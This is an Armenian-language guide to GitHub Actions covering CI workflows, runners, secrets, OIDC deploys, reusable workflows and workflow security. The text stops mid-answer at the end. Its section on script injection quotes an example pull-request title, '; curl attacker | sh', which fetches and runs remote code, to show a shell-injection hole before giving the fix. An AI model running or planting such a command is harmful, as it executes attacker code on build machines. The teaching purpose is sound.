GitHub Actions
CI/CD, որն ապրում է կոդի կողքին․ YAML workflow-ներ, որոնք ամեն push-ի ժամանակ թեստավորում, build են անում և deploy անում։
30 վայրկյանում
GitHub Actions-ը ավտոմատ job-եր է գործարկում, երբ ռեպոզիտորիայում ինչ-որ բան է տեղի ունենում՝ push, pull request, tag, ժամանակացույց կամ կոճակի սեղմում։ Job-երը նկարագրում ես YAML ֆայլերում՝ .github/workflows թղթապանակում, իսկ GitHub-ը դրանք աշխատեցնում է նոր վիրտուալ մեքենաների վրա, որոնք կոչվում են runner-ներ։ Թիմերը դրանով թեստեր են աշխատեցնում ամեն pull request-ի վրա, Docker image-ներ են build անում, փաթեթներ են հրապարակում և deploy են անում սերվերներ կամ ամպեր՝ առանց առանձին CI պրոդուկտի։
Իմ ամենօրյա stack-ում չէ․ գիտեմ հիմնական գաղափարները և մանրամասները կսովորեմ, երբ նախագիծը դա պահանջի։
Ինչու է սա կարևոր
- Այն վերացնում է մի ամբողջ համակարգ, որը պետք է սպասարկել․ եթե կոդդ արդեն GitHub-ում է, CI/CD-ն գալիս է ռեպոզիտորիայի հետ՝ առանց patch անելու սերվերի և թարմացնելու plugin-ների։
- Pull request-ները merge-ից առաջ ստանում են հստակ կանաչ կամ կարմիր կարգավիճակ, ու կոտրված կոդը բռնում է մեքենան, ոչ թե review անողը կամ հաճախորդը։
- Marketplace-ում հազարավոր վերօգտագործվող action-ներ կան (checkout, լեզվի կարգավորում, cache, ամպային login), ուստի pipeline-ների մեծ մասը հավաքվում է պատրաստի մասերից, ոչ թե գրվում զրոյից։
- OIDC federation-ը թույլ է տալիս workflow-ներին deploy անել AWS, Google Cloud կամ Azure՝ կարճաժամկետ token-ներով, secret-ներում պահվող երկարաժամկետ ամպային բանալիների փոխարեն։
Ինչպես է աշխատում
01Հիմնական կառուցվածքային մասերը՝ workflow-ներ, event-ներ, job-եր, step-եր
Workflow-ը մեկ YAML ֆայլ է .github/workflows-ում։ Այն սկսվում է on:-ով՝ այն event-ներով, որոնք այն գործարկում են, օրինակ՝ push, pull_request, workflow_dispatch (ձեռքով կոճակ) կամ schedule (cron)։ Workflow-ը պարունակում է job-եր․ յուրաքանչյուր job աշխատում է իր սեփական runner-ի վրա՝ նոր մեքենայի, որը հետո դեն է նետվում։ Լռելյայն job-երը աշխատում են զուգահեռ, իսկ needs:-ը ստիպում է մի job-ին սպասել մյուսին։ Job-ը step-երի ցուցակ է։ Step-ը կա՛մ shell հրամաններ է աշխատեցնում run:-ով, կա՛մ օգտագործում է փաթեթավորված action uses:-ով, օրինակ՝ actions/checkout-ը ռեպոզիտորիան clone անելու համար։ Պատկերացրու բաղադրատոմսերի գիրք․ workflow-ը գիրքն է, job-երը բաղադրատոմսեր են, որոնք կարելի է միաժամանակ պատրաստել տարբեր խոհանոցներում, իսկ step-երը յուրաքանչյուր բաղադրատոմսի տողերն են։ Քանի որ ամեն job սկսվում է մաքուր մեքենայի վրա, job-երի միջև ոչինչ չի փոխանցվում, եթե բացահայտ չփոխանցես որպես artifact, cache-ի գրառում կամ job output։
- Workflow = ֆայլ, որը գործարկվում է event-ներով։
- Job = աշխատում է մեկ runner-ի վրա․ զուգահեռ է, եթե needs:-ն այլ բան չի ասում։
- Step = shell հրաման (run:) կամ action (uses:)։
02Քո առաջին CI workflow-ը
Ստորև բերված workflow-ը աշխատում է ամեն pull request-ի և main-ի push-երի վրա։ Այն վերցնում է կոդը, տեղադրում Node.js՝ setup-node-ի մեջ ներկառուցված dependency cache-ով, npm ci-ով տեղադրում lockfile-ի ճշգրիտ տարբերակները, հետո աշխատեցնում lint և թեստեր։ Երկու տող ավելի կարևոր են, քան թվում է։ permissions: contents: read-ը ավտոմատ GITHUB_TOKEN-ը սահմանափակում է միայն կարդալու իրավունքով, ուստի կոտրված step-ը չի կարող կոդ push անել։ concurrency-ն չեղարկում է նույն branch-ի ավելի հին run-ը, երբ նոր commit է գալիս․ դա խնայում է րոպեներ և խուսափում է շփոթեցնող արդյունքներից։ Action-ների տարբերակները գրված են @v7՝ major-տարբերակի tag-ով։ GitHub-ի հրապարակած action-ների համար սա խելամիտ լռելյայն ընտրություն է, իսկ երրորդ կողմի action-ները ամրացրու ամբողջական commit SHA-ով, որի մասին կխոսենք ավելի ուշ։
name: CI
on:
pull_request:
push:
branches: [main]
permissions:
contents: read
concurrency:
group: ci-${{ github.ref }}
cancel-in-progress: true
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v7
- uses: actions/setup-node@v7
with: { node-version: 24, cache: npm }
- run: npm ci
- run: npm run lint && npm test
03Runner-ներ՝ GitHub-hosted, larger և self-hosted
Runner-ը այն մեքենան է, որը կատարում է job-ը։ GitHub-hosted runner-ները (ubuntu-latest, windows-latest, macos-latest և ARM տարբերակներ) ամեն job-ի համար նոր VM-ներ են, որոնք patch է անում GitHub-ը, և private ռեպոզիտորիաների համար վճարվում են րոպեով․ public ռեպոզիտորիաները ստանդարտ չափերով դրանք ստանում են անվճար։ Larger runner-ները տալիս են ավելի շատ CPU և RAM, ստատիկ IP միջակայքեր և GPU տարբերակներ՝ ավելի բարձր գնով։ Self-hosted runner-ները քո սեփական մեքենաներն են կամ Kubernetes pod-երը, որոնց վրա աշխատում է runner agent-ը․ դրանք ընտրում ես label-ներով, օրինակ՝ runs-on: [self-hosted, linux]։ Դրանք օգտակար են, երբ պետք է հատուկ սարքավորում, մուտք private ցանց կամ ավելի էժան զանգվածային հաշվարկ։ Գինն այն է, որ patch անելը, scaling-ը և մաքրումը քո պատասխանատվությունն են։ Ամենակարևորը՝ երբեք self-hosted runner մի՛ միացրու public ռեպոզիտորիային, որովհետև pull request բացող ցանկացած մարդ կարող է կոդ աշխատեցնել քո մեքենայի վրա։ Autoscaling-ի համար Actions Runner Controller-ը (ARC) Kubernetes-ում ըստ պահանջի ստեղծում է ժամանակավոր runner pod-եր։
04Secret-ներ, փոփոխականներ և environment-ներ
Secret-ները գաղտնագրված արժեքներ են (API token-ներ, SSH բանալիներ), որոնք պահվում են ռեպոզիտորիայի, environment-ի կամ կազմակերպության կարգավորումներում և YAML-ում կարդացվում են որպես ${{ secrets.NAME }}։ GitHub-ը դրանք թաքցնում է լոգերում, բայց masking-ը անվտանգություն չէ․ step-ը, որը secret-ը base64-ով կոդավորում է, այն տպում է բաց տեսքով։ Փոփոխականները (${{ vars.NAME }}) ոչ գաղտնի կոնֆիգուրացիայի համար են, օրինակ՝ region-ի անունը։ Environment-ները (օրինակ՝ staging և production) խմբավորում են secret-ները և ավելացնում պաշտպանության կանոններ՝ պարտադիր review անողներ, սպասման ժամանակաչափ և թե որ branch-երը կարող են deploy անել։ Job-ը, որը հայտարարում է environment: production, դադար է տալիս, մինչև հաստատողը սեղմի approve, և միայն դրանից հետո կարող է կարդալ production-ի secret-ները։ Secret-ները չեն փոխանցվում fork-երից եկած pull request-ներով գործարկված workflow-ներին, ինչը պաշտպանում է անծանոթներից, որոնք կփորձեին դրանք դուրս հանել։ Ամպերի համար նախընտրիր OIDC․ workflow-ը պահանջում է ստորագրված identity token և այն փոխանակում է կարճաժամկետ ամպային credentials-ի հետ, ուստի չկա ամպային բանալի, որը կարող է արտահոսել կամ պետք է rotate անել։
05Matrix build-եր, cache և artifact-ներ
Matrix-ը նույն job-ը աշխատեցնում է տարբեր համակցություններով, օրինակ՝ Node-ի երեք տարբերակ երկու օպերացիոն համակարգի վրա, և մի քանի տողից ստացվում է վեց զուգահեռ job։ Դրիր fail-fast: false, երբ ուզում ես տեսնել բոլոր ձախողված համակցությունները, ոչ թե առաջին ձախողման ժամանակ չեղարկել մնացածը։ Cache-ը run-երի միջև խնայում է dependency-ների ներբեռնումը․ Node-ի, Python-ի, Java-ի և Go-ի setup action-ները ունեն cache input, իսկ actions/cache-ը մնացած ամեն ինչի համար է՝ lockfile-ի hash-ով key-ով, որպեսզի cache-ը թարմանա, երբ dependency-ները փոխվում են։ Artifact-ները այլ բան են․ դրանք ֆայլեր են, որոնք job-ն արտադրում է (build թղթապանակ, թեստերի հաշվետվություններ, coverage), և դու դրանք upload ես անում այլ job-երի կամ մարդկանց ներբեռնելու համար՝ պահպանման ժամկետով։ Հիմնական կանոնը․ cache արա այն, ինչ կարող ես վերակառուցել՝ ժամանակ խնայելու համար, իսկ artifact upload արա, երբ քեզ պետք է հենց այս run-ի ճշգրիտ արդյունքը։
jobs:
test:
runs-on: ${{ matrix.os }}
strategy:
fail-fast: false
matrix:
os: [ubuntu-latest, windows-latest]
node: [20, 22, 24]
steps:
- uses: actions/checkout@v7
- uses: actions/setup-node@v7
with:
node-version: ${{ matrix.node }}
cache: npm
- run: npm ci && npm test
06Deploy job՝ հաստատումով և OIDC-ով
Տիպիկ pipeline-ը թեստավորում է ամեն pull request-ի վրա և deploy անում միայն main-ից։ Ստորև deploy job-ը needs:-ով սպասում է test job-ին, if:-ի շնորհիվ աշխատում է միայն main-ում և կապված է production environment-ին, ուստի պահանջում է հաստատում և կարող է կարդալ միայն production-ի secret-ները։ permissions: id-token: write-ը թույլ է տալիս job-ին պահանջել OIDC token, որը ամպային login action-ը փոխանակում է ժամանակավոր credentials-ի հետ այն role-ի համար, որը կարգավորել ես վստահել միայն այս ռեպոզիտորիային և branch-ին։ Role ARN-ը գաղտնի չէ, բայց պահիր այն փոփոխականում, որպեսզի ֆայլը մնա ընդհանուր։ Deploy-ը այստեղ placeholder script է․ դա կարող է լինել helm upgrade, rsync կամ hosting պրովայդերի CLI-ի կանչ։
deploy:
needs: test
if: github.ref == 'refs/heads/main'
runs-on: ubuntu-latest
environment: production
permissions:
contents: read
id-token: write
steps:
- uses: actions/checkout@v7
- uses: aws-actions/configure-aws-credentials@v6
with:
role-to-assume: ${{ vars.DEPLOY_ROLE_ARN }}
aws-region: eu-central-1
- run: ./scripts/deploy.sh
Օգտագործեք, երբ
- Կոդդ արդեն GitHub-ում է, և ուզում ես CI/CD՝ առանց ևս մեկ սերվեր սպասարկելու։
- Open-source նախագծեր, որոնց պետք է անվճար CI Linux-ի, Windows-ի և macOS-ի վրա ամեն pull request-ի համար։
- Փոքր և միջին թիմեր, որոնք ուզում են pipeline-ները, հաստատումները և secret-ները կառավարել մեկ տեղում՝ կոդի հետ։
- Ռեպոզիտորիայի առօրյա գործերի ավտոմատացում CI-ից դուրս՝ issue-ների label-ավորում, release-ների հրապարակում, ժամանակացույցով job-եր։
Մի՛ օգտագործեք, երբ
- Կոդդ GitLab-ում, Bitbucket-ում կամ self-hosted Git սերվերում է․ օգտագործիր այդ պլատֆորմի բնիկ CI-ը mirror անելու փոխարեն։
- Շատ ծանր, երկար build-եր, որտեղ րոպեավճարով hosted գնագոյացումը թանկանում է, և ցանկություն չունես self-hosted runner-ներ սպասարկելու։
- Խիստ air-gapped միջավայրեր, որտեղ ոչ մի արտաքին SaaS չի կարող դիպչել կոդին (GitHub Enterprise Server-ը կարող է օգնել, բայց դա ավելի մեծ որոշում է)։
Այլընտրանքներ
- GitLab CI/CD
Ներկառուցված է GitLab-ում՝ stage-երով, environment-ներով և ուժեղ self-hosted տարբերակով։
- Jenkins
Self-hosted, անվերջ ընդլայնվող plugin-ներով․ ավելի շատ վերահսկողություն, ավելի շատ սպասարկում։
- CircleCI / Buildkite
Առանձնացված CI ծառայություններ․ Buildkite-ը agent-ները աշխատեցնում է քո սեփական ենթակառուցվածքում։
- Պլատֆորմի build hook-եր
Vercel-ը, Netlify-ը կամ Render-ը push-ի ժամանակ build են անում պարզ վեբ հավելվածների համար՝ առանց սեփական pipeline-ի։
Լավագույն պրակտիկաներ
- Վերին մակարդակում դրիր permissions: contents: read և ավելին տուր միայն այն job-երին, որտեղ իսկապես պետք է։
- Երրորդ կողմի action-ները ամրացրու ամբողջական commit SHA-ով և թող Dependabot-ը կամ Renovate-ը առաջարկեն թարմացումներ։
- Ամպային deploy-ների համար օգտագործիր OIDC՝ secret-ներում պահվող երկարաժամկետ access key-երի փոխարեն։
- Պաշտպանիր production-ը environment-ով, որը պահանջում է review անողներ և թույլ է տալիս միայն main branch-ը։
- Ավելացրու concurrency խմբեր, որպեսզի նոր commit-ները չեղարկեն հնացած run-երը, և երկու deploy երբեք չհամընկնեն։
- Dependency-ները cache արա lockfile-ի hash-ով և job-երը պահիր փոքր, որպեսզի ձախողումները արագ կարդացվեն։
- Կրկնվող pipeline-ները տեղափոխիր reusable workflow-ների կամ composite action-ների մեջ՝ YAML copy-paste անելու փոխարեն։
Տարածված սխալներ
- pull_request_target-ի օգտագործում և pull request-ի կոդի checkout, ինչը անվստահելի կոդ է աշխատեցնում secret-ներով և գրելու իրավունքով։
- ${{ github.event.pull_request.title }}-ի ուղիղ տեղադրում run: script-երի մեջ, ինչը shell injection է թույլ տալիս․ դրա փոխարեն փոխանցիր env փոփոխականով։
- Լռելյայն token-ը գրելու իրավունքներով թողնել ամեն job-ում։
- Self-hosted runner-ներ public ռեպոզիտորիաներում կամ մշտական runner-ներ, որոնք job-երի միջև պահում են ֆայլեր և credentials։
- Սպասել, որ մի job-ի ֆայլերը կլինեն հաջորդում՝ առանց artifact upload անելու։
Խորը վերլուծություն
07Reusable workflow-ներ ընդդեմ composite action-ների
YAML copy-paste-ը դադարեցնելու երկու ճանապարհ։ Composite action-ը մի քանի step փաթեթավորում է մեկ action.yml-ի մեջ․ կանչողները այն օգտագործում են որպես մեկ step, ուստի այն աշխատում է կանչողի job-ի ներսում և կիսում է նրա runner-ը և ֆայլային համակարգը։ Այն իդեալական է կարգավորման հաջորդականության համար, օրինակ՝ գործիքների տեղադրում, cache-ի վերականգնում, login։ Reusable workflow-ը ամբողջական workflow է on: workflow_call-ով, input-ներով և secret-ներով․ կանչողները այն հղում են job-ի մակարդակում uses: org/repo/.github/workflows/deploy.yml@ref-ով։ Այն կարող է պարունակել մի քանի job, environment-ներ և սեփական runner-ներ, ինչը այն դարձնում է ճիշտ գործիք ստանդարտ pipeline-ի համար, որին պետք է հետևի յուրաքանչյուր ծառայություն։ Secret-ները պետք է փոխանցվեն բացահայտ կամ secrets: inherit-ով։ Ներդրվածությունը սահմանափակ է (մի քանի մակարդակ), և կանչողը կարող է միայն նվազեցնել, ոչ թե բարձրացնել կանչվող workflow-ի իրավունքները։ Պլատֆորմային թիմը հաճախ reusable workflow-ներ է հրապարակում կենտրոնական ռեպոզիտորիայից և դրանք պարտադրում required workflow-ներով կամ ruleset-ներով։
# .github/workflows/deploy.yml (reusable)
on:
workflow_call:
inputs:
environment: { type: string, required: true }
secrets:
DEPLOY_TOKEN: { required: true }
jobs:
deploy:
runs-on: ubuntu-latest
environment: ${{ inputs.environment }}
steps:
- uses: actions/checkout@v7
- run: ./scripts/deploy.sh "${{ inputs.environment }}"
env:
DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}
08OIDC վստահություն․ ինչպես են իրականում աշխատում առանց բանալու deploy-ները
Երբ job-ն ունի id-token: write, runner-ը կարող է GitHub-ի token ծառայությունից խնդրել GitHub-ի կողմից ստորագրված JSON Web Token։ Token-ի claim-երը նկարագրում են run-ը՝ ռեպոզիտորիան, ref-ը, environment-ը, workflow-ը և գործարկող actor-ը։ sub claim-ը նման է repo:your-org/your-repo:environment:production-ի։ Քո ամպում դու GitHub-ը գրանցում ես որպես identity provider և ստեղծում role, որի trust policy-ն ընդունում է միայն կոնկրետ audience-ով և sub-ով token-ներ։ Ամպը ստուգում է ստորագրությունը, claim-երը և վերադարձնում credentials, որոնք լրանում են մոտ մեկ ժամում։ Անվտանգությունը այնքան լավն է, որքան այդ պայմանը․ trust policy-ն, որը համապատասխանում է repo:your-org/*-ին, թույլ է տալիս կազմակերպության ցանկացած ռեպոզիտորիայի ստանձնել production role։ Production role-երը կապիր environment claim-ին, որպեսզի deploy անեն միայն այն job-երը, որոնք անցել են environment-ի հաստատման կանոնները։ Կազմակերպությունները կարող են նաև հարմարեցնել sub claim-ը՝ ավելացնելով ավելի շատ դաշտեր, օրինակ՝ job-ի workflow reference-ը։
09Workflow-ների անվտանգություն․ injection և անվստահելի trigger-ներ
Երկու դասական անցքերն են script injection-ը և արտոնյալ trigger-ները։ ${{ github.event.issue.title }}-ի նման արտահայտությունները տեղադրվում են script-ի տեքստի մեջ մինչև shell-ի աշխատելը, ուստի «; curl attacker | sh» պարունակող վերնագիրը դառնում է կոդ։ Լուծում․ անվստահելի արժեքները փոխանցիր env:-ով և հղիր դրանց որպես սովորական shell փոփոխականների, որոնք shell-ը դիտարկում է որպես տվյալ։ Երկրորդ անցքը pull_request_target-ն ու workflow_run-ն են․ դրանք, ըստ նախագծման, աշխատում են հիմնական ռեպոզիտորիայի կոնտեքստում՝ secret-ներով և գրելու token-ով, որպեսզի կարողանան label դնել կամ մեկնաբանել fork-ի pull request-ները։ Եթե այդպիսի workflow-ը checkout և build է անում fork-ի կոդը, այդ կոդը աշխատում է այդ արտոնություններով։ Արտոնյալ workflow-ները ազատ պահիր անվստահելի կոդից կամ բաժանիր աշխատանքը․ առանց արտոնությունների pull_request workflow-ը build է անում և upload անում արդյունքները, իսկ արտոնյալ workflow-ը artifact-ը կարդում է միայն որպես տվյալ։ zizmor-ի կամ actionlint-ի նման գործիքները CI-ում ավտոմատ նշում են այս pattern-ները։
# Unsafe: title is pasted into the script
- run: echo "${{ github.event.pull_request.title }}"
# Safe: title arrives as data in an env var
- run: echo "$PR_TITLE"
env:
PR_TITLE: ${{ github.event.pull_request.title }}
10Արագություն և արժեք մեծ մասշտաբով
Pipeline-ի ժամանակը ծրագրավորողի ժամանակն է։ Նախ չափիր․ workflow run-ի ամփոփումը ցույց է տալիս յուրաքանչյուր job-ի տևողությունը։ Տարածված շահումներ․ lint-ը, unit թեստերը և type check-երը աշխատեցրու որպես զուգահեռ job-եր, օգտագործիր paths ֆիլտրեր, որպեսզի docs-ի փոփոխությունը չաշխատեցնի backend-ի ամբողջական թեստերը, cache արա dependency-ները և Docker շերտերը (docker/build-push-action-ը աջակցում է cache-to և cache-from type=gha-ով), մեծ թեստային հավաքածուները բաժանիր matrix shard-երի։ Չեղարկիր հնացած run-երը concurrency-ով։ Monorepo-ների համար հաշվիր ազդված փաթեթները և աշխատեցրու միայն դրանք։ Արժեքի առումով Linux-ի րոպեներն ամենաէժանն են, իսկ Windows-ի և macOS-ի րոպեները մի քանի անգամ ավելի թանկ են, ուստի այդ job-երը սահմանափակիր նրանով, ինչին իսկապես պետք են։ Երբ hosted րոպեները մեծ հաշիվ են դառնում, spot instance-ների վրա Actions Runner Controller-ով autoscale արվող ժամանակավոր self-hosted runner-ները կարող են կրճատել ծախսը, բայց այդ դեպքում այդ մեքենաների և դրանց հասանելի ցանցերի անվտանգությունը քոնն է։
Իրական իրավիճակներ
CI-ը ամեն pull request-ի վրա 25 րոպե է տևում
Խնդիր
Թիմը ամեն pull request-ի ստուգումներին սպասում է գրեթե կես ժամ։ Ծրագրավորողները սկսում են merge անել առանց սպասելու, իսկ անկայուն ձախողումներն անտեսվում են։
Ինչպես լուծել
Նայիր run-ի ժամանակագրությանը և գտիր ամենադանդաղ job-երը։ Մեկ մեծ job-ը բաժանիր զուգահեռ lint, typecheck, unit և e2e job-երի։ Միացրու dependency cache-ը setup-node-ում և Docker շերտերի cache-ը type=gha-ով։ Դանդաղ թեստային հավաքածուն բաժանիր չորս matrix job-ի՝ test runner-ի shard տարբերակով։ Ավելացրու paths ֆիլտրեր, որպեսզի միայն frontend-ի փոփոխությունները բաց թողնեն backend-ի job-երը։ Ավելացրու concurrency խումբ cancel-in-progress-ով, որպեսզի push-երը չեղարկեն հին run-երը։ Անկայուն թեստերը տեղափոխիր առանձին, չարգելափակող job և ուղղիր մեկ առ մեկ։ Տիպիկ արդյունք․ տասը րոպեից պակաս, և պարտադիր ստուգումներ, որոնց մարդիկ նորից վստահում են։
Երկարաժամկետ AWS բանալիների հեռացում ռեպոզիտորիայից
Խնդիր
Deploy-ները օգտագործում են access key և secret, որոնք տարիներ առաջ պահվել են որպես ռեպոզիտորիայի secret-ներ։ Ոչ ոք չգիտի, թե ով է դրանք ստեղծել, և դրանք լայն իրավունքներ ունեն։
Ինչպես լուծել
AWS IAM-ում ավելացրու GitHub-ը որպես OIDC identity provider՝ sts.amazonaws.com audience-ով։ Ստեղծիր deploy role միայն այն իրավունքներով, որոնք deploy-ին պետք են, և trust policy, որի sub պայմանը repo:your-org/your-repo:environment:production է։ Workflow-ում deploy job-ին ավելացրու permissions: id-token: write, օգտագործիր aws-actions/configure-aws-credentials-ը role-to-assume-ով և հեռացրու բանալիների input-ները։ Աշխատեցրու deploy՝ համոզվելու, որ այն աշխատում է։ Հետո ապաակտիվացրու հին access key-ը, մի քանի օր սպասիր այն ամենին, ինչ դեռ կախված է դրանից, և ջնջիր այն ռեպոզիտորիայի secret-ների հետ միասին։
Տասը ռեպոզիտորիա՝ մի փոքր տարբեր pipeline-ներով
Խնդիր
Յուրաքանչյուր ծառայություն ունի իր պատճենված workflow-ը։ Deploy step-երի անվտանգության ուղղումը պետք է անել տասն անգամ, և որոշ ռեպոզիտորիաներ միշտ մոռացվում են։
Ինչպես լուծել
Ստեղծիր կենտրոնական ռեպոզիտորիա test-ի, build-ի և deploy-ի reusable workflow-ներով, որոնք ընդունում են input-ներ, օրինակ՝ node-version և environment։ Տարբերակավորիր դրանք tag-երով, և թող յուրաքանչյուր ծառայություն դրանք կանչի job-ի մակարդակում uses: your-org/ci/.github/workflows/deploy.yml@v1-ով։ Ընդհանուր setup step-երը տեղափոխիր composite action-ի մեջ։ Ներդրիր աստիճանաբար․ փոխարինիր մեկ ծառայության workflow-ը, ստուգիր, հետո մնացածը։ Օգտագործիր կազմակերպության ruleset-ներ՝ merge-ից առաջ ստանդարտ ստուգումները պարտադրելու համար։ Հետագա ուղղումները մեկ փոփոխություն և tag-ի թարմացում են, իսկ Dependabot-ը կարող է թարմացնել կանչողներին։
Արագ ուղեցույց
- Ձեռքով գործարկում
on: workflow_dispatch- Գիշերային ժամանակացույց (UTC)
on: { schedule: [{ cron: "0 3 * * *" }] }- Լռելյայն միայն կարդալու token
permissions: { contents: read }- Չեղարկել հնացած run-երը
concurrency: { group: ci-${{ github.ref }}, cancel-in-progress: true }- Աշխատեցնել միայն main-ում
if: github.ref == 'refs/heads/main'- Բաց թողնել միայն docs-ի փոփոխությունները
on: { push: { paths-ignore: ["docs/**", "**.md"] } }- Տվյալներ փոխանցել հաջորդ step-երին
echo "version=1.2.3" >> "$GITHUB_OUTPUT"- Workflow գործարկել CLI-ից
gh workflow run ci.yml --ref main- Հետևել վերջին run-ին
gh run watch- Workflow ֆայլերի lint
actionlint .github/workflows/*.yml
Հարցեր և պատասխաններ
Q1Ո՞րն է տարբերությունը job-ի և step-ի միջև։
Job-ը աշխատանքի միավոր է, որը աշխատում է մեկ runner-ի՝ մեկ նոր մեքենայի վրա։ Workflow-ի job-երը լռելյայն աշխատում են զուգահեռ, և դրանց հերթականությունը որոշում ես needs:-ով։ Step-ը job-ի ներսի մեկ կետ է՝ կա՛մ shell հրաման run:-ով, կա՛մ վերօգտագործվող action uses:-ով։ Job-ի step-երը աշխատում են հերթով և կիսում են նույն ֆայլային համակարգը և միջավայրը, ուստի step-ը կարող է օգտագործել նախորդ step-ի ստեղծած ֆայլերը։ Job-երը ֆայլային համակարգ չեն կիսում․ job-երի միջև տվյալներ փոխանցելու համար օգտագործում ես artifact-ներ, cache կամ job output-ներ։ Գործնականում ես աշխատանքը բաժանում եմ job-երի, երբ ուզում եմ զուգահեռություն կամ առանձին իրավունքների սահման, և step-երի, երբ քայլերը սերտորեն կախված են իրարից։
Q2Ինչպե՞ս ես secret-ները ապահով պահում GitHub Actions-ում։
Մի քանի շերտով։ Secret-ները պահիր ռեպոզիտորիայի, environment-ի կամ կազմակերպության կարգավորումներում, երբեք YAML-ում։ Production-ի secret-ները դիր պաշտպանված environment-ում, որպեսզի դրանք կարդան միայն main-ից հաստատված job-երը։ GITHUB_TOKEN-ը լռելյայն դարձրու միայն կարդալու։ Ամպային մուտքի համար նախընտրիր OIDC, որ ընդհանրապես երկարաժամկետ բանալի չլինի։ Խուսափիր secret-ները լոգերում տպելուց կամ ձևափոխելուց, որովհետև masking-ը բռնում է միայն ճշգրիտ տողը։ Մի՛ օգտագործիր pull_request_target fork-ի checkout արված կոդի հետ և երբեք մի՛ տեղադրիր անվստահելի event-ի տվյալներ ուղիղ shell script-երի մեջ։ Վերջապես, երրորդ կողմի action-ները ամրացրու commit SHA-ով, քանի որ քո օգտագործած action-ը աշխատում է նույն secret-ների հասանելիությամբ, ինչ քո սեփական step-երը։
Q3Cache, թե՞ artifact․ որն օգտագործեմ։
Դրանք տարբեր խնդիրներ են լուծում։ Cache-ը օպտիմալացում է․ այն պահում է այն, ինչ կարող ես վերակառուցել, օրինակ՝ ներբեռնված npm փաթեթներ, ինչ-որ key-ով, ինչպես lockfile-ի hash-ը։ Եթե cache-ը չկա, job-ը միևնույն է աշխատում է, պարզապես ավելի դանդաղ։ Artifact-ը կոնկրետ run-ի արդյունք է, օրինակ՝ compile արված build, թեստերի հաշվետվություններ կամ coverage ֆայլ։ Դու այն upload ես անում, որպեսզի հաջորդ job-ը օգտագործի հենց այդ արդյունքը, կամ որ մարդը կարողանա ներբեռնել։ Լավ թեստ․ եթե այն կորցնելը կխախտի ճշտությունը, դա artifact է, եթե միայն ժամանակ կարժենա՝ cache։ Cache-երը նաև սահմանափակված են branch-ով, ուստի pull request-ները կարող են կարդալ main branch-ի cache-ը, բայց ոչ իրար։
Q4Ինչպե՞ս է աշխատում matrix build-ը, և ե՞րբ է այն արժե։
Matrix-ը վերցնում է արժեքների ցուցակներ, օրինակ՝ օպերացիոն համակարգեր և լեզվի տարբերակներ, և ամեն համակցության համար ստեղծում է մեկ job։ Node-ի երեք տարբերակ երկու համակարգի վրա դառնում են վեց զուգահեռ job։ Դա արժե գրադարանների և գործիքների համար, որոնք օգտատերերն աշխատեցնում են բազմաթիվ միջավայրերում, որովհետև release-ից առաջ բռնում է կոնկրետ տարբերակին բնորոշ bug-երը։ Հավելվածի համար, որն աշխատում է Node-ի միայն մեկ տարբերակով մեկ Docker image-ում, matrix-ը հիմնականում րոպեներ է վառում․ թեստավորիր այն տարբերակը, որը առաքում ես։ Օգտագործիր include և exclude՝ կոնկրետ համակցություններ ավելացնելու կամ հանելու համար, fail-fast: false՝ բոլոր ձախողումները տեսնելու համար, և max-parallel, եթե պետք է սահմանափակել ծանրաբեռնվածությունը ընդհանուր ծառայության վրա։
Q5Ինչո՞ւ ամրացնել action-ները commit SHA-ով, ոչ թե v4-ի նման tag-ով։
Tag-ը տեղաշարժվող ցուցիչ է։ Եթե action-ի ռեպոզիտորիան կոտրվի, հարձակվողը կարող է tag-ը տեղափոխել վնասակար կոդի վրա, և այն օգտագործող յուրաքանչյուր workflow հաջորդ build-ի ժամանակ կաշխատեցնի այդ կոդը քո secret-ներով։ Դա տեղի է ունեցել իրական supply-chain միջադեպերում։ Ամբողջական 40 նիշանոց commit SHA-ն անփոփոխ է, ուստի աշխատեցնում ես հենց այն կոդը, որը review ես արել։ Թերությունը ձեռքով թարմացումներն են, որոնք Dependabot-ը կամ Renovate-ը լուծում են՝ բացելով pull request-ներ նոր SHA-ով և տարբերակը ցույց տվող մեկնաբանությամբ։ GitHub-ի կողմից սպասարկվող action-ների համար շատ թիմեր ընդունում են major tag-երը, իսկ երրորդ կողմի ամեն ինչի համար SHA-ով ամրացումը ավելի ապահով լռելյայն ընտրություն է։
Q6Ինչպե՞ս ես deploy անում սերվեր GitHub Actions-ից։
Նախ որոշիր, թե ինչ է տեղափոխվում․ սովորաբար registry push արված Docker image կամ build արված artifact։ Workflow-ը թեստավորում է, build է անում և push անում image-ը՝ commit SHA-ով tag-ավորված։ Այնուհետև deploy job-ը, կապված պաշտպանված production environment-ին, սերվերին ասում է pull անել և վերագործարկել հենց այդ tag-ը, օրինակ՝ SSH-ով, սահմանափակ իրավունքներով առանձին deploy key-ով, կամ OIDC credentials-ով ամպային API կանչելով։ Ավելացրու concurrency խումբ, որպեսզի երկու deploy երբեք չհամընկնեն, health check վերագործարկումից հետո և պարզ rollback ճանապարհ, օրինակ՝ նախորդ SHA-ի կրկնակի deploy։ Deploy-ի տրամաբանությունը պահիր ռեպոզիտորիայի script-ում, որպեսզի այն հնարավոր լինի աշխատեցնել և թեստավորել նաև CI-ից դուրս։
Սենիոր մակարդակի հարցեր
S1Ինչպե՞ս կնախագծես CI/CD governance GitHub-ում 200 ռեպոզիտորիա ունեցող կազմակերպության համար։
Ես կկենտրոնացնեի pattern-ները և կապակենտրոնացնեի պատասխանատվությունը։ Պլատֆորմային ռեպոզիտորիան հրապարակում է տարբերակավորված reusable workflow-ներ build-ի, test-ի, scan-ի և deploy-ի համար, գումարած composite action-ներ setup-ի համար։ Կազմակերպության ruleset-ները պարտադրում են կոնկրետ status check-եր և, որտեղ հասանելի է, required workflow-ներ, որպեսզի անվտանգության scan-երը չկարողանա հեռացնել մեկ թիմը։ Կազմակերպության policy-ն սահմանափակում է թույլատրված action-ները՝ GitHub-ի սեփական, ստուգված հեղինակների և SHA-ով ամրացված երրորդ կողմի action-ների allowlist։ Token-ի լռելյայն իրավունքները կազմակերպության մակարդակում միայն կարդալու են։ Ամպային մուտքը օգտագործում է OIDC՝ ռեպոզիտորիայի և environment-ի claim-երին կապված trust policy-ներով։ Աշխատանքի մեծ մասի համար runner-ները GitHub-hosted են, իսկ private մուտք պահանջող job-երի համար՝ ARC-ով կառավարվող ժամանակավոր runner-ներ մեկուսացված ցանցերում։ Փոխզիջումը առանձին թիմերի համար ավելի քիչ ազատությունն է, ուստի ընդհանուր workflow-ները պետք է լինեն լավը, փաստաթղթավորված և արագ, այլապես թիմերը 